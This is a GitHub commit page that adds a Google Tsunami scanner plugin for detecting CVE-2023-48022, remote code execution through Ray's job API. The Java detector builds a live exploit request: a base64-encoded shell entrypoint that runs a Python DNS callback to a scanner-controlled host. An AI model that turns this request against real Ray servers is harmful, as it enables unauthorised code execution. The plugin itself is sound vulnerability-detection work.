Skip to content

Commit 27c61ad

Browse files
Tsunami Teamcopybara-github
authored andcommitted
Internal
PiperOrigin-RevId: 607256867 Change-Id: Iaf1f7827a4a20f9d03989d78721b65e074430ee3
1 parent ce19898 commit 27c61ad

File tree

13 files changed

+934
-0
lines changed

13 files changed

+934
-0
lines changed
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# ray CVE-2023-48022 Detector
2+
3+
This plugin for Tsunami detects a remote code execution (RCE) vulnerability in
4+
ray, which is an ML platform.
5+
6+
More information on the vulnerability:
7+
8+
* [CVE-2023-48022](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48022)
9+
* [POC](https://github.com/protectai/ai-exploits/blob/main/ray/nuclei-templates/ray-job-rce.yaml)
10+
11+
## Build jar file for this plugin
12+
13+
Using `gradlew`:
14+
15+
```shell
16+
./gradlew jar
17+
```
18+
19+
Tsunami identifiable jar file is located at `build/libs` directory.
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
plugins {
2+
id 'java-library'
3+
}
4+
5+
description = 'Tsunami detector for CVE-2023-48022.'
6+
group = 'com.google.tsunami'
7+
version = '0.0.1-SNAPSHOT'
8+
9+
repositories {
10+
maven { // The google mirror is less flaky than mavenCentral()
11+
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
12+
}
13+
mavenCentral()
14+
mavenLocal()
15+
}
16+
17+
java {
18+
sourceCompatibility = JavaVersion.VERSION_11
19+
targetCompatibility = JavaVersion.VERSION_11
20+
21+
jar.manifest {
22+
attributes('Implementation-Title': name,
23+
'Implementation-Version': version,
24+
'Built-By': System.getProperty('user.name'),
25+
'Built-JDK': System.getProperty('java.version'),
26+
'Source-Compatibility': sourceCompatibility,
27+
'Target-Compatibility': targetCompatibility)
28+
}
29+
30+
javadoc.options {
31+
encoding = 'UTF-8'
32+
use = true
33+
links 'https://docs.oracle.com/javase/8/docs/api/'
34+
}
35+
36+
// Log stacktrace to console when test fails.
37+
test {
38+
testLogging {
39+
exceptionFormat = 'full'
40+
showExceptions true
41+
showCauses true
42+
showStackTraces true
43+
}
44+
maxHeapSize = '1500m'
45+
}
46+
}
47+
48+
ext {
49+
tsunamiVersion = 'latest.release'
50+
junitVersion = '4.13'
51+
mockitoVersion = '2.28.2'
52+
truthVersion = '1.0.1'
53+
}
54+
55+
dependencies {
56+
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
57+
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
58+
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
59+
60+
testImplementation "junit:junit:${junitVersion}"
61+
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
62+
testImplementation "com.google.truth:truth:${truthVersion}"
63+
testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
64+
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
65+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
rootProject.name = 'cve202348022'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.cve202348022;
17+
18+
import static com.google.common.base.Preconditions.checkNotNull;
19+
import static com.google.common.collect.ImmutableList.toImmutableList;
20+
import static java.nio.charset.StandardCharsets.UTF_8;
21+
22+
import com.google.common.collect.ImmutableList;
23+
import com.google.common.flogger.GoogleLogger;
24+
import com.google.common.io.BaseEncoding;
25+
import com.google.protobuf.ByteString;
26+
import com.google.protobuf.util.Timestamps;
27+
import com.google.tsunami.common.data.NetworkServiceUtils;
28+
import com.google.tsunami.common.net.http.HttpClient;
29+
import com.google.tsunami.common.net.http.HttpHeaders;
30+
import com.google.tsunami.common.net.http.HttpRequest;
31+
import com.google.tsunami.common.time.UtcClock;
32+
import com.google.tsunami.plugin.PluginType;
33+
import com.google.tsunami.plugin.VulnDetector;
34+
import com.google.tsunami.plugin.annotations.ForWebService;
35+
import com.google.tsunami.plugin.annotations.PluginInfo;
36+
import com.google.tsunami.plugin.payload.Payload;
37+
import com.google.tsunami.plugin.payload.PayloadGenerator;
38+
import com.google.tsunami.proto.DetectionReport;
39+
import com.google.tsunami.proto.DetectionReportList;
40+
import com.google.tsunami.proto.DetectionStatus;
41+
import com.google.tsunami.proto.NetworkService;
42+
import com.google.tsunami.proto.PayloadGeneratorConfig;
43+
import com.google.tsunami.proto.Severity;
44+
import com.google.tsunami.proto.TargetInfo;
45+
import com.google.tsunami.proto.Vulnerability;
46+
import com.google.tsunami.proto.VulnerabilityId;
47+
import java.io.IOException;
48+
import java.time.Clock;
49+
import java.time.Instant;
50+
import javax.inject.Inject;
51+
52+
/** A VulnDetector plugin for CVE 202348022. */
53+
@PluginInfo(
54+
type = PluginType.VULN_DETECTION,
55+
name = "CVE-2023-48022 Detector",
56+
version = "0.1",
57+
description = "This detector checks for occurrences of CVE-2023-48022 in ray installations.",
58+
author = "Marius Steffens ([email protected])",
59+
bootstrapModule = Cve202348022DetectorModule.class)
60+
@ForWebService
61+
public final class Cve202348022Detector implements VulnDetector {
62+
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
63+
64+
private final Clock utcClock;
65+
private final HttpClient httpClient;
66+
private final PayloadGenerator payloadGenerator;
67+
68+
@Inject
69+
Cve202348022Detector(
70+
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
71+
this.utcClock = checkNotNull(utcClock);
72+
this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build();
73+
this.payloadGenerator = checkNotNull(payloadGenerator);
74+
}
75+
76+
@Override
77+
public DetectionReportList detect(
78+
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
79+
return DetectionReportList.newBuilder()
80+
.addAllDetectionReports(
81+
matchedServices.stream()
82+
.filter(this::isServiceVulnerable)
83+
.map(networkService -> buildDetectionReport(targetInfo, networkService))
84+
.collect(toImmutableList()))
85+
.build();
86+
}
87+
88+
private boolean isServiceVulnerable(NetworkService networkService) {
89+
var payload = getTsunamiCallbackHttpPayload();
90+
91+
if (!payload.getPayloadAttributes().getUsesCallbackServer()) {
92+
logger.atWarning().log(
93+
"Tsunami callback server is not setup for this environment, cannot run CVE-2023-48022"
94+
+ " Detector.");
95+
return false;
96+
}
97+
98+
var requestWithPayloadOldVersion =
99+
getExploitRequest(networkService, payload, "api/job_agent/jobs/");
100+
var requestWithPayloadNewVersion = getExploitRequest(networkService, payload, "api/jobs/");
101+
102+
this.sendRequest(requestWithPayloadOldVersion, networkService);
103+
this.sendRequest(requestWithPayloadNewVersion, networkService);
104+
105+
return payload.checkIfExecuted();
106+
}
107+
108+
private Payload getTsunamiCallbackHttpPayload() {
109+
return this.payloadGenerator.generate(
110+
PayloadGeneratorConfig.newBuilder()
111+
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF)
112+
.setInterpretationEnvironment(
113+
PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY)
114+
.setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY)
115+
.build());
116+
}
117+
118+
private HttpRequest getExploitRequest(
119+
NetworkService networkService, Payload payload, String apiEndpoint) {
120+
String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
121+
String body = String.format("{\"entrypoint\": \"%s\"}", getShellCodeForDnsCallback(payload));
122+
return HttpRequest.post(rootUrl + apiEndpoint)
123+
.setHeaders(HttpHeaders.builder().addHeader("content-type", "application/json").build())
124+
.setRequestBody(ByteString.copyFromUtf8(body))
125+
.build();
126+
}
127+
128+
private String getShellCodeForDnsCallback(Payload payload) {
129+
String pythonDnsCallbackCode =
130+
String.format(
131+
"python3 -c 'import socket;socket.gethostbyname(\"%s\")'", payload.getPayload());
132+
return String.format(
133+
"echo %s|base64 -d|sh",
134+
BaseEncoding.base64().encode(pythonDnsCallbackCode.getBytes(UTF_8)));
135+
}
136+
137+
private void sendRequest(HttpRequest request, NetworkService networkService) {
138+
try {
139+
this.httpClient.send(request, networkService);
140+
} catch (IOException e) {
141+
logger.atWarning().withCause(e).log("Failed to send request.");
142+
}
143+
}
144+
145+
private DetectionReport buildDetectionReport(
146+
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
147+
return DetectionReport.newBuilder()
148+
.setTargetInfo(targetInfo)
149+
.setNetworkService(vulnerableNetworkService)
150+
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
151+
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
152+
.setVulnerability(
153+
Vulnerability.newBuilder()
154+
.setMainId(
155+
VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-48022"))
156+
.setSeverity(Severity.CRITICAL)
157+
.setTitle("CVE-2023-48022")
158+
.setDescription(
159+
"An attacker can use the job upload functionality to execute arbitrary code on"
160+
+ " the server hosting the ray application.")
161+
.setRecommendation(
162+
"There is no patch available as this is considered intended functionality."
163+
+ " Restrict access to ray to be local only, and do not expose it to the"
164+
+ " network."))
165+
.build();
166+
}
167+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.cve202348022;
17+
18+
import com.google.tsunami.plugin.PluginBootstrapModule;
19+
20+
/** An module registering the detector for CVE-2023-48022. */
21+
public final class Cve202348022DetectorModule extends PluginBootstrapModule {
22+
@Override
23+
protected void configurePlugin() {
24+
registerPlugin(Cve202348022Detector.class);
25+
}
26+
}

0 commit comments

Comments
 (0)